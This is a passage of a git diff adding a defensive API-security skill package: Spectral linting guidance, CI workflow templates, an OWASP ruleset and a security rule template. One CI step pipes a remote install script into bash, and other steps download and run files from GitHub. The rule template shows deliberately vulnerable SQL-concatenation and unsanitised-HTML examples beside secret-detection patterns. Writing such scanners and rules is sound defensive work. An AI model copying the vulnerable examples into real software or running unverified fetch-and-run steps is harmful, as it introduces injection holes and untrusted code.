--ruleset .spectral-owasp.yaml \ + --output-dir scan-results/ \ + --alert-on error \ + --slack-webhook $SLACK_WEBHOOK +``` + +### API Specification Monitoring + +```bash +# Monitor API specifications for security regressions +./scripts/spectral_monitor.sh \ + --baseline baseline-scan.json \ + --current-scan latest-scan.json \ + --alert-on-new-findings \ + --email security-team@example.com +``` + +## Security Considerations + +- **Specification Security**: API specifications may contain sensitive information (internal URLs, authentication schemes) - control access and sanitize before sharing +- **Rule Integrity**: Protect ruleset files from unauthorized modification - store in version control with code review requirements +- **False Positives**: Manually review findings before making security claims - context matters for API design decisions +- **Specification Versioning**: Maintain version history of API specifications to track security improvements over time +- **Secrets in Specs**: Never include actual credentials, API keys, or secrets in example values - use placeholder values only +- **Compliance Mapping**: Document how Spectral rules map to compliance requirements (PCI-DSS, GDPR, HIPAA) +- **Governance Enforcement**: Define exception process for legitimate rule violations with security team approval +- **Audit Logging**: Log all Spectral scans, findings, and remediation actions for security auditing +- **Access Control**: Restrict modification of security rulesets to designated API security team members +- **Continuous Validation**: Re-validate API specifications whenever they change or when new security rules are added + +## Bundled Resources + +### Scripts (`scripts/`) + +- `parse_spectral_results.py` - Parse Spectral JSON output and generate security reports with OWASP mapping +- `generate_remediation.py` - Generate remediation guidance based on Spectral findings +- `compare_spectral_results.py` - Compare two Spectral scans to track remediation progress +- `aggregate_api_findings.py` - Aggregate findings across multiple API specifications +- `spectral_ci.sh` - CI/CD integration wrapper with exit code handling +- `spectral_scheduler.sh` - Scheduled scanning with alerting +- `spectral_monitor.sh` - Continuous monitoring with baseline comparison +- `generate_pr_comments.py` - Convert Spectral findings to PR review comments + +### References (`references/`) + +- `owasp_api_mappings.md` - Complete OWASP API Security Top 10 rule mappings +- `custom_rules_guide.md` - Custom rule authoring with examples +- `custom_functions.md` - Creating custom JavaScript/TypeScript validation functions +- `ruleset_patterns.md` - Reusable ruleset patterns for common security scenarios +- `api_security_checklist.md` - API security validation checklist + +### Assets (`assets/`) + +- `spectral-owasp.yaml` - Comprehensive OWASP API Security Top 10 ruleset +- `spectral-org-template.yaml` - Organization-wide API security standards template +- `github-actions-template.yml` - Complete GitHub Actions workflow +- `gitlab-ci-template.yml` - GitLab CI integration template +- `rule-templates/` - Reusable security rule templates + +## Common Patterns + +### Pattern 1: Security-First API Design Validation + +Validate API specifications during design phase: + +```bash +# Design phase validation (strict security rules) +spectral lint api-design.yaml \ + --ruleset .spectral-owasp.yaml \ + --fail-severity warn \ + --verbose +``` + +### Pattern 2: API Specification Diff Analysis + +Detect security regressions between API versions: + +```bash +# Compare two API specification versions +spectral lint api-v2.yaml --ruleset .spectral.yaml -o v2-findings.json +spectral lint api-v1.yaml --ruleset .spectral.yaml -o v1-findings.json + +python3 scripts/compare_spectral_results.py \ + --baseline v1-findings.json \ + --current v2-findings.json \ + --show-regressions +``` + +### Pattern 3: Multi-Environment API Security + +Different rulesets for development, staging, production: + +```yaml +# .spectral-dev.yaml (permissive) +extends: ["spectral:oas"] +rules: + servers-use-https: warn + +# .spectral-prod.yaml (strict) +extends: ["spectral:oas"] +rules: + servers-use-https: error + operation-security-defined: error +``` + +## Integration Points + +- **CI/CD**: GitHub Actions, GitLab CI, Jenkins, CircleCI, Azure DevOps +- **API Gateways**: Kong, Apigee, AWS API Gateway (validate specs before deployment) +- **IDE Integration**: VS Code extension, JetBrains plugins for real-time validation +- **API Documentation**: Stoplight Studio, Swagger UI, Redoc +- **Issue Tracking**: Jira, GitHub Issues, Linear (automated ticket creation for findings) +- **API Governance**: Backstage, API catalogs (enforce standards across portfolios) +- **Security Platforms**: Defect Dojo, SIEM platforms (via JSON export) + +## Troubleshooting + +### Issue: Too Many False Positives + +**Solution**: +- Start with `error` severity only: `spectral lint --fail-severity error` +- Progressively add rules and adjust severity levels +- Use `overrides` section in ruleset to exclude specific paths +- See `references/ruleset_patterns.md` for filtering strategies + +### Issue: Custom Rules Not Working + +**Solution**: +- Verify JSONPath expressions using online JSONPath testers +- Check rule syntax with `spectral lint --ruleset .spectral.yaml --verbose` +- Use `--verbose` flag to see which rules are being applied +- Test rules in isolation before combining them + +### Issue: Performance Issues with Large Specifications + +**Solution**: +- Lint specific paths only: `spectral lint api-spec.yaml --ignore-paths "components/examples"` +- Use `--skip-rules` to disable expensive rules temporarily +- Split large specifications into smaller modules +- Run Spectral in parallel for multiple specifications + +### Issue: CI/CD Integration Failing + +**Solution**: +- Check Node.js version compatibility (requires Node 14+) +- Verify ruleset path is correct relative to specification file +- Use `--fail-severity` to control when builds should fail +- Review exit codes in `scripts/spectral_ci.sh` + +## References + +- [Spectral Documentation](https://docs.stoplight.io/docs/spectral/674b27b261c3c-overview) +- [Spectral GitHub Repository](https://github.com/stoplightio/spectral) +- [OWASP API Security Top 10](https://owasp.org/API-Security/editions/2023/en/0x11-t10/) +- [OpenAPI Specification](https://spec.openapis.org/oas/latest.html) +- [AsyncAPI Specification](https://www.asyncapi.com/docs/reference/specification/latest) diff --git a/skills/appsec/api-spectral/assets/.gitkeep b/skills/appsec/api-spectral/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/appsec/api-spectral/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/appsec/api-spectral/assets/ci-config-template.yml b/skills/appsec/api-spectral/assets/ci-config-template.yml new file mode 100644 index 0000000..367cdbb --- /dev/null +++ b/skills/appsec/api-spectral/assets/ci-config-template.yml @@ -0,0 +1,357 @@ +# Security-Enhanced CI/CD Pipeline Template +# +# This template demonstrates security best practices for CI/CD pipelines. +# Adapt this template to your specific security tool and workflow needs. +# +# Key Security Features: +# - SAST (Static Application Security Testing) +# - Dependency vulnerability scanning +# - Secrets detection +# - Infrastructure-as-Code security scanning +# - Container image scanning +# - Security artifact uploading for compliance + +name: Security Scan Pipeline + +on: + push: + branches: [main, develop] + pull_request: + branches: [main, develop] + schedule: + # Run weekly security scans on Sunday at 2 AM UTC + - cron: '0 2 * * 0' + workflow_dispatch: # Allow manual trigger + +# Security: Restrict permissions to minimum required +permissions: + contents: read + security-events: write # For uploading SARIF results + pull-requests: write # For commenting on PRs + +env: + # Configuration + SECURITY_SCAN_FAIL_ON: 'critical,high' # Fail build on these severities + REPORT_DIR: 'security-reports' + +jobs: + # Job 1: Static Application Security Testing (SAST) + sast-scan: + name: SAST Security Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for better analysis + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Run SAST Scanner + run: | + # Example: Using Semgrep for SAST + pip install semgrep + semgrep --config=auto \ + --json \ + --output ${{ env.REPORT_DIR }}/sast-results.json \ + . || true + + # Alternative: Bandit for Python projects + # pip install bandit + # bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json + + - name: Process SAST Results + run: | + # Parse results and fail on critical/high severity + python3 -c " + import json + import sys + + with open('${{ env.REPORT_DIR }}/sast-results.json') as f: + results = json.load(f) + + critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR']) + high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING']) + + print(f'Critical findings: {critical}') + print(f'High findings: {high}') + + if critical > 0: + print('❌ Build failed: Critical security issues found') + sys.exit(1) + elif high > 0: + print('⚠️ Warning: High severity issues found') + # Optionally fail on high severity + # sys.exit(1) + else: + print('✅ No critical security issues found') + " + + - name: Upload SAST Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: sast-results + path: ${{ env.REPORT_DIR }}/sast-results.json + retention-days: 30 + + # Job 2: Dependency Vulnerability Scanning + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Scan Python Dependencies + if: hashFiles('requirements.txt') != '' + run: | + pip install safety + safety check \ + --json \ + --output ${{ env.REPORT_DIR }}/safety-results.json \ + || true + + - name: Scan Node Dependencies + if: hashFiles('package.json') != '' + run: | + npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true + + - name: Process Dependency Results + run: | + # Check for critical vulnerabilities + if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))") + echo "Critical vulnerabilities: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "❌ Build failed: Critical vulnerabilities in dependencies" + exit 1 + fi + fi + + - name: Upload Dependency Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: dependency-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 3: Secrets Detection + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history to scan all commits + + - name: Run Gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_ENABLE_SUMMARY: true + + - name: Alternative - TruffleHog Scan + if: false # Set to true to enable + run: | + pip install truffleHog + trufflehog --json --regex --entropy=True . \ + > ${{ env.REPORT_DIR }}/trufflehog-results.json || true + + - name: Upload Secrets Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: secrets-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 4: Container Image Scanning + container-scan: + name: Container Image Security Scan + runs-on: ubuntu-latest + if: hashFiles('Dockerfile') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Build Docker Image + run: | + docker build -t app:${{ github.sha }} . + + - name: Run Trivy Scanner + uses: aquasecurity/trivy-action@master + with: + image-ref: app:${{ github.sha }} + format: 'sarif' + output: '${{ env.REPORT_DIR }}/trivy-results.sarif' + severity: 'CRITICAL,HIGH' + + - name: Upload Trivy Results to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif' + + - name: Upload Container Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: container-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 5: Infrastructure-as-Code Security Scanning + iac-scan: + name: IaC Security Scan + runs-on: ubuntu-latest + if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov + run: | + pip install checkov + checkov -d . \ + --output json \ + --output-file ${{ env.REPORT_DIR }}/checkov-results.json \ + --quiet \ + || true + + - name: Run tfsec (for Terraform) + if: hashFiles('**/*.tf') != '' + run: | + curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash + tfsec . \ + --format json \ + --out ${{ env.REPORT_DIR }}/tfsec-results.json \ + || true + + - name: Process IaC Results + run: | + # Fail on critical findings + if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))") + echo "Failed checks: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "⚠️ Warning: IaC security issues found" + # Optionally fail the build + # exit 1 + fi + fi + + - name: Upload IaC Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: iac-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 6: Security Report Generation and Notification + security-report: + name: Generate Security Report + runs-on: ubuntu-latest + needs: [sast-scan, dependency-scan, secrets-scan] + if: always() + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Download All Scan Results + uses: actions/download-artifact@v4 + with: + path: all-results/ + + - name: Generate Consolidated Report + run: | + # Consolidate all security scan results + mkdir -p consolidated-report + + cat > consolidated-report/security-summary.md << 'EOF' + # Security Scan Summary + + **Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC") + **Commit**: ${{ github.sha }} + **Branch**: ${{ github.ref_name }} + + ## Scan Results + + ### SAST Scan + See artifacts: `sast-results` + + ### Dependency Scan + See artifacts: `dependency-scan-results` + + ### Secrets Scan + See artifacts: `secrets-scan-results` + + ### Container Scan + See artifacts: `container-scan-results` + + ### IaC Scan + See artifacts: `iac-scan-results` + + --- + + For detailed results, download scan artifacts from this workflow run. + EOF + + - name: Comment on PR (if applicable) + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8'); + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: report + }); + + - name: Upload Consolidated Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: consolidated-security-report + path: consolidated-report/ + retention-days: 90 + +# Security Best Practices Demonstrated: +# +# 1. ✅ Minimal permissions (principle of least privilege) +# 2. ✅ Multiple security scan types (defense in depth) +# 3. ✅ Fail-fast on critical findings +# 4. ✅ Secrets detection across full git history +# 5. ✅ Container image scanning before deployment +# 6. ✅ IaC scanning for misconfigurations +# 7. ✅ Artifact retention for compliance audit trail +# 8. ✅ SARIF format for GitHub Security integration +# 9. ✅ Scheduled scans for continuous monitoring +# 10. ✅ PR comments for developer feedback +# +# Compliance Mappings: +# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging) +# - PCI-DSS: 6.2, 6.5 (Secure development practices) +# - NIST: SA-11 (Developer Security Testing) +# - OWASP: Integrated security testing throughout SDLC diff --git a/skills/appsec/api-spectral/assets/github-actions-template.yml b/skills/appsec/api-spectral/assets/github-actions-template.yml new file mode 100644 index 0000000..efe25cc --- /dev/null +++ b/skills/appsec/api-spectral/assets/github-actions-template.yml @@ -0,0 +1,189 @@ +# GitHub Actions Workflow for Spectral API Security Linting +# This workflow validates OpenAPI/AsyncAPI specifications against security best practices + +name: API Security Linting with Spectral + +on: + push: + branches: [main, develop] + paths: + - 'api-specs/**/*.yaml' + - 'api-specs/**/*.yml' + - 'api-specs/**/*.json' + - '.spectral.yaml' + pull_request: + branches: [main, develop] + paths: + - 'api-specs/**/*.yaml' + - 'api-specs/**/*.yml' + - 'api-specs/**/*.json' + - '.spectral.yaml' + +jobs: + spectral-lint: + name: Lint API Specifications + runs-on: ubuntu-latest + + steps: + - name: Checkout Repository + uses: actions/checkout@v4 + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version: '20' + cache: 'npm' + + - name: Install Spectral CLI + run: npm install -g @stoplight/spectral-cli + + - name: Verify Spectral Installation + run: spectral --version + + - name: Lint API Specifications (GitHub Actions Format) + run: | + spectral lint api-specs/**/*.{yaml,yml,json} \ + --ruleset .spectral.yaml \ + --format github-actions \ + --fail-severity error + continue-on-error: true + + - name: Generate JSON Report + if: always() + run: | + mkdir -p reports + spectral lint api-specs/**/*.{yaml,yml,json} \ + --ruleset .spectral.yaml \ + --format json \ + --output reports/spectral-results.json || true + + - name: Generate HTML Report + if: always() + run: | + # Download parse script if not in repository + if [ ! -f "scripts/parse_spectral_results.py" ]; then + curl -o scripts/parse_spectral_results.py \ + https://raw.githubusercontent.com/SecOpsAgentKit/skills/main/appsec/api-spectral/scripts/parse_spectral_results.py + chmod +x scripts/parse_spectral_results.py + fi + + python3 scripts/parse_spectral_results.py \ + --input reports/spectral-results.json \ + --output reports/spectral-report.html \ + --format html \ + --map-owasp + + - name: Upload Spectral Reports + if: always() + uses: actions/upload-artifact@v4 + with: + name: spectral-security-reports + path: reports/ + retention-days: 30 + + - name: Check for Critical Issues + run: | + if [ -f "reports/spectral-results.json" ]; then + CRITICAL_COUNT=$(jq '[.[] | select(.severity == 0)] | length' reports/spectral-results.json) + echo "Critical security issues found: $CRITICAL_COUNT" + + if [ "$CRITICAL_COUNT" -gt 0 ]; then + echo "::error::Found $CRITICAL_COUNT critical security issues in API specifications" + exit 1 + fi + fi + + - name: Comment PR with Results + if: github.event_name == 'pull_request' && always() + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + + if (fs.existsSync('reports/spectral-results.json')) { + const results = JSON.parse(fs.readFileSync('reports/spectral-results.json', 'utf8')); + + const severityCounts = results.reduce((acc, finding) => { + const severity = ['error', 'warn', 'info', 'hint'][finding.severity] || 'unknown'; + acc[severity] = (acc[severity] || 0) + 1; + return acc; + }, {}); + + const errorCount = severityCounts.error || 0; + const warnCount = severityCounts.warn || 0; + const infoCount = severityCounts.info || 0; + + const summary = `## 🔒 API Security Lint Results + + **Total Findings:** ${results.length} + + | Severity | Count | + |----------|-------| + | 🔴 Error | ${errorCount} | + | 🟡 Warning | ${warnCount} | + | 🔵 Info | ${infoCount} | + + ${errorCount > 0 ? '⚠️ **Action Required:** Fix error-level security issues before merging.' : '✅ No critical security issues found.'} + + 📄 [View Detailed Report](../actions/runs/${context.runId}) + `; + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: summary + }); + } + + # Optional: Separate job for OWASP-specific validation + owasp-validation: + name: OWASP API Security Validation + runs-on: ubuntu-latest + needs: spectral-lint + + steps: + - name: Checkout Repository + uses: actions/checkout@v4 + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version: '20' + + - name: Install Spectral CLI + run: npm install -g @stoplight/spectral-cli + + - name: Validate Against OWASP Ruleset + run: | + # Use OWASP-specific ruleset if available + if [ -f ".spectral-owasp.yaml" ]; then + RULESET=".spectral-owasp.yaml" + else + # Download OWASP ruleset template + curl -o .spectral-owasp.yaml \ + https://raw.githubusercontent.com/SecOpsAgentKit/skills/main/appsec/api-spectral/assets/spectral-owasp.yaml + RULESET=".spectral-owasp.yaml" + fi + + spectral lint api-specs/**/*.{yaml,yml,json} \ + --ruleset "$RULESET" \ + --format stylish \ + --fail-severity warn + + - name: Generate OWASP Compliance Report + if: always() + run: | + mkdir -p reports + spectral lint api-specs/**/*.{yaml,yml,json} \ + --ruleset .spectral-owasp.yaml \ + --format json \ + --output reports/owasp-validation.json || true + + - name: Upload OWASP Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: owasp-compliance-report + path: reports/owasp-validation.json + retention-days: 30 diff --git a/skills/appsec/api-spectral/assets/rule-template.yaml b/skills/appsec/api-spectral/assets/rule-template.yaml new file mode 100644 index 0000000..2aebcfe --- /dev/null +++ b/skills/appsec/api-spectral/assets/rule-template.yaml @@ -0,0 +1,355 @@ +# Security Rule Template +# +# This template demonstrates how to structure security rules/policies. +# Adapt this template to your specific security tool (Semgrep, OPA, etc.) +# +# Rule Structure Best Practices: +# - Clear rule ID and metadata +# - Severity classification +# - Framework mappings (OWASP, CWE) +# - Remediation guidance +# - Example vulnerable and fixed code + +rules: + # Example Rule 1: SQL Injection Detection + - id: sql-injection-string-concatenation + metadata: + name: "SQL Injection via String Concatenation" + description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries" + severity: "HIGH" + category: "security" + subcategory: "injection" + + # Security Framework Mappings + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-89: SQL Injection" + mitre_attack: + - "T1190: Exploit Public-Facing Application" + + # Compliance Standards + compliance: + - "PCI-DSS 6.5.1: Injection flaws" + - "NIST 800-53 SI-10: Information Input Validation" + + # Confidence and Impact + confidence: "HIGH" + likelihood: "HIGH" + impact: "HIGH" + + # References + references: + - "https://owasp.org/www-community/attacks/SQL_Injection" + - "https://cwe.mitre.org/data/definitions/89.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" + + # Languages this rule applies to + languages: + - python + - javascript + - java + - go + + # Detection Pattern (example using Semgrep-style syntax) + pattern-either: + - pattern: | + cursor.execute($SQL + $VAR) + - pattern: | + cursor.execute(f"... {$VAR} ...") + - pattern: | + cursor.execute("..." + $VAR + "...") + + # What to report when found + message: | + Potential SQL injection vulnerability detected. SQL query is constructed using + string concatenation or f-strings with user input. This allows attackers to + inject malicious SQL code. + + Use parameterized queries instead: + - Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + - JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId]) + + See: https://owasp.org/www-community/attacks/SQL_Injection + + # Suggested fix (auto-fix if supported) + fix: | + Use parameterized queries with placeholders + + # Example vulnerable code + examples: + - vulnerable: | + # Vulnerable: String concatenation + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = " + user_id + cursor.execute(query) + + - fixed: | + # Fixed: Parameterized query + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = ?" + cursor.execute(query, (user_id,)) + + # Example Rule 2: Hardcoded Secrets Detection + - id: hardcoded-secret-credential + metadata: + name: "Hardcoded Secret or Credential" + description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code" + severity: "CRITICAL" + category: "security" + subcategory: "secrets" + + owasp: + - "A07:2021 - Identification and Authentication Failures" + cwe: + - "CWE-798: Use of Hard-coded Credentials" + - "CWE-259: Use of Hard-coded Password" + + compliance: + - "PCI-DSS 8.2.1: Use of strong cryptography" + - "SOC 2 CC6.1: Logical access controls" + - "GDPR Article 32: Security of processing" + + confidence: "MEDIUM" + likelihood: "HIGH" + impact: "CRITICAL" + + references: + - "https://cwe.mitre.org/data/definitions/798.html" + - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password" + + languages: + - python + - javascript + - java + - go + - ruby + + pattern-either: + - pattern: | + password = "..." + - pattern: | + api_key = "..." + - pattern: | + secret = "..." + - pattern: | + token = "..." + + pattern-not: | + $VAR = "" + + message: | + Potential hardcoded secret detected. Hardcoding credentials in source code + is a critical security vulnerability that can lead to unauthorized access + if the code is exposed. + + Use environment variables or a secrets management system instead: + - Python: os.environ.get('API_KEY') + - Node.js: process.env.API_KEY + - Secrets Manager: AWS Secrets Manager, HashiCorp Vault, etc. + + See: https://cwe.mitre.org/data/definitions/798.html + + examples: + - vulnerable: | + # Vulnerable: Hardcoded API key + api_key = "sk-1234567890abcdef" + api.authenticate(api_key) + + - fixed: | + # Fixed: Environment variable + import os + api_key = os.environ.get('API_KEY') + if not api_key: + raise ValueError("API_KEY environment variable not set") + api.authenticate(api_key) + + # Example Rule 3: XSS via Unsafe HTML Rendering + - id: xss-unsafe-html-rendering + metadata: + name: "Cross-Site Scripting (XSS) via Unsafe HTML" + description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities" + severity: "HIGH" + category: "security" + subcategory: "xss" + + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-79: Cross-site Scripting (XSS)" + - "CWE-80: Improper Neutralization of Script-Related HTML Tags" + + compliance: + - "PCI-DSS 6.5.7: Cross-site scripting" + - "NIST 800-53 SI-10: Information Input Validation" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://owasp.org/www-community/attacks/xss/" + - "https://cwe.mitre.org/data/definitions/79.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" + + languages: + - javascript + - typescript + - jsx + - tsx + + pattern-either: + - pattern: | + dangerouslySetInnerHTML={{__html: $VAR}} + - pattern: | + innerHTML = $VAR + + message: | + Potential XSS vulnerability detected. Setting HTML content directly from + user input without sanitization can allow attackers to inject malicious + JavaScript code. + + Use one of these safe alternatives: + - React: Use {userInput} for automatic escaping + - DOMPurify: const clean = DOMPurify.sanitize(dirty); + - Framework-specific sanitizers + + See: https://owasp.org/www-community/attacks/xss/ + + examples: + - vulnerable: | + // Vulnerable: Unsanitized HTML + function UserComment({ comment }) { + return
; + } + + - fixed: | + // Fixed: Sanitized with DOMPurify + import DOMPurify from 'dompurify'; + + function UserComment({ comment }) { + const sanitized = DOMPurify.sanitize(comment); + return
; + } + + # Example Rule 4: Insecure Cryptography + - id: weak-cryptographic-algorithm + metadata: + name: "Weak Cryptographic Algorithm" + description: "Detects use of weak or deprecated cryptographic algorithms" + severity: "HIGH" + category: "security" + subcategory: "cryptography" + + owasp: + - "A02:2021 - Cryptographic Failures" + cwe: + - "CWE-327: Use of a Broken or Risky Cryptographic Algorithm" + - "CWE-326: Inadequate Encryption Strength" + + compliance: + - "PCI-DSS 4.1: Use strong cryptography" + - "NIST 800-53 SC-13: Cryptographic Protection" + - "GDPR Article 32: Security of processing" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://cwe.mitre.org/data/definitions/327.html" + - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/" + + languages: + - python + - javascript + - java + + pattern-either: + - pattern: | + hashlib.md5(...) + - pattern: | + hashlib.sha1(...) + - pattern: | + crypto.createHash('md5') + - pattern: | + crypto.createHash('sha1') + + message: | + Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are + considered cryptographically broken and should not be used for security purposes. + + Use strong alternatives: + - For hashing: SHA-256, SHA-384, or SHA-512 + - For password hashing: bcrypt, argon2, or PBKDF2 + - Python: hashlib.sha256() + - Node.js: crypto.createHash('sha256') + + See: https://cwe.mitre.org/data/definitions/327.html + + examples: + - vulnerable: | + # Vulnerable: MD5 hash + import hashlib + hash_value = hashlib.md5(data).hexdigest() + + - fixed: | + # Fixed: SHA-256 hash + import hashlib + hash_value = hashlib.sha256(data).hexdigest() + +# Rule Configuration +configuration: + # Global settings + enabled: true + severity_threshold: "MEDIUM" # Report findings at MEDIUM severity and above + + # Performance tuning + max_file_size_kb: 1024 + exclude_patterns: + - "test/*" + - "tests/*" + - "node_modules/*" + - "vendor/*" + - "*.min.js" + + # False positive reduction + confidence_threshold: "MEDIUM" # Only report findings with MEDIUM confidence or higher + +# Rule Metadata Schema +# This section documents the expected structure for rules +metadata_schema: + required: + - id: "Unique identifier for the rule (kebab-case)" + - name: "Human-readable rule name" + - description: "What the rule detects" + - severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO" + - category: "security | best-practice | performance" + + optional: + - subcategory: "Specific type (injection, xss, secrets, etc.)" + - owasp: "OWASP Top 10 mappings" + - cwe: "CWE identifier(s)" + - mitre_attack: "MITRE ATT&CK technique(s)" + - compliance: "Compliance standard references" + - confidence: "Detection confidence level" + - likelihood: "Likelihood of exploitation" + - impact: "Potential impact if exploited" + - references: "External documentation links" + +# Usage Instructions: +# +# 1. Copy this template when creating new security rules +# 2. Update metadata fields with appropriate framework mappings +# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.) +# 4. Provide clear remediation guidance in the message field +# 5. Include both vulnerable and fixed code examples +# 6. Test rules on real codebases before deployment +# +# Best Practices: +# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK) +# - Include compliance standard references +# - Provide actionable remediation guidance +# - Show code examples (vulnerable vs. fixed) +# - Tune confidence levels to reduce false positives +# - Exclude test directories to reduce noise diff --git a/skills/appsec/api-spectral/assets/spectral-owasp.yaml b/skills/appsec/api-spectral/assets/spectral-owasp.yaml new file mode 100644 index 0000000..369eb2b --- /dev/null +++ b/skills/appsec/api-spectral/assets/spectral-owasp.yaml @@ -0,0 +1,293 @@ +# Comprehensive OWASP API Security Top 10 2023 Spectral Ruleset +# This ruleset enforces OWASP API Security best practices for OpenAPI specifications + +extends: ["spectral:oas"] + +rules: + # ============================================================================ + # API1:2023 - Broken Object Level Authorization + # ============================================================================ + + operation-security-defined: + description: All operations must have security requirements defined (OWASP API1) + severity: error + given: $.paths[*][get,post,put,patch,delete,head] + then: + - field: security + function: truthy + message: "Operations must define security requirements to prevent unauthorized object access (OWASP API1:2023 - Broken Object Level Authorization)" + + id-parameters-require-security: + description: Operations with ID parameters must have security defined + severity: error + given: $.paths[?(@property =~ /(\/\{id\}|\/\{.*[_-]id\})/i)][get,put,patch,delete] + then: + - field: security + function: truthy + message: "Operations with ID parameters require security to prevent IDOR vulnerabilities (OWASP API1:2023)" + + # ============================================================================ + # API2:2023 - Broken Authentication + # ============================================================================ + + security-schemes-required: + description: API must define security schemes (OWASP API2) + severity: error + given: $.components + then: + - field: securitySchemes + function: truthy + message: "API must define security schemes to prevent authentication bypass (OWASP API2:2023 - Broken Authentication)" + + no-http-basic-auth: + description: HTTP Basic authentication is insecure for APIs + severity: error + given: $.components.securitySchemes[*] + then: + - field: scheme + function: pattern + functionOptions: + notMatch: "^basic$" + message: "HTTP Basic authentication transmits credentials in plain text - use OAuth2, API key, or JWT (OWASP API2:2023)" + + bearer-format-specified: + description: Bearer authentication should specify token format (JWT recommended) + severity: warn + given: $.components.securitySchemes[?(@.type == 'http' && @.scheme == 'bearer')] + then: + - field: bearerFormat + function: truthy + message: "Bearer authentication should specify token format (bearerFormat: JWT) for clarity (OWASP API2:2023)" + + # ============================================================================ + # API3:2023 - Broken Object Property Level Authorization + # ============================================================================ + + no-additional-properties: + description: Prevent mass assignment by disabling additionalProperties + severity: warn + given: $.components.schemas[?(@.type == 'object')] + then: + - field: additionalProperties + function: falsy + message: "Set additionalProperties to false to prevent mass assignment vulnerabilities (OWASP API3:2023 - Broken Object Property Level Authorization)" + + schemas-have-properties: + description: Object schemas should explicitly define properties + severity: warn + given: $.components.schemas[?(@.type == 'object')] + then: + - field: properties + function: truthy + message: "Explicitly define object properties to control data exposure (OWASP API3:2023)" + + # ============================================================================ + # API4:2023 - Unrestricted Resource Consumption + # ============================================================================ + + rate-limit-headers-documented: + description: API should document rate limiting headers + severity: warn + given: $.paths[*][get,post,put,patch,delete].responses[?(@property < '300')].headers + then: + function: schema + functionOptions: + 